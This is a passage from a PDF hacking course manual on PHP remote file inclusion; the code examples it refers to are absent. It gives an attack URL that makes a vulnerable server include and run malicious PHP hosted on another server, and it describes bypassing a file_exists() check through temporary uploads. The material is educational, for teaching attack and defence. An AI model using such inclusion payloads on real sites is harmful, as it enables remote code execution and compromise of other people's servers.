Hack Security Pro.pdf - Index of

inc.php file page1.php file
By typing http://myserver/inc.php?page=page1.php, our navigator displays yopyop. This is perfectly
normal. The hacker is also going to define the variable $page in such a way that the server will
execute its malicious php code. Let us imagine that the hacker has uploaded the malicious code on
another server:
All he has to do now is to type: http://myserver/inc.php?page=http://serveur2/codemal.php so that
“myserver” can execute the malicious code present on server2. To avoid this kind of vulnerability, there
are several PHP functions. The first one is “file_exists()”: this function can check if the file exists locally
on the local server. In the example above, the hacker could not include an external file if the inc.php
file were modified as below:
However, the hacker could bypass this protection by temporarily uploading a file on the server.
Uploading towards a PHP is a very special procedure. If a file is sent through a form towards a PHP
script, before the script is interpreted, a temporary saving of our file is done on the server. Even if the
file is refused by the script, it is still uploaded in a temporary directory on the the server!
(Generally /tmp).
To illustrate this example, we are going to create an upload HTML script (.html form) locally, as below:
Upload this file:
The Hackademy DMP -113/209- SYSDREAM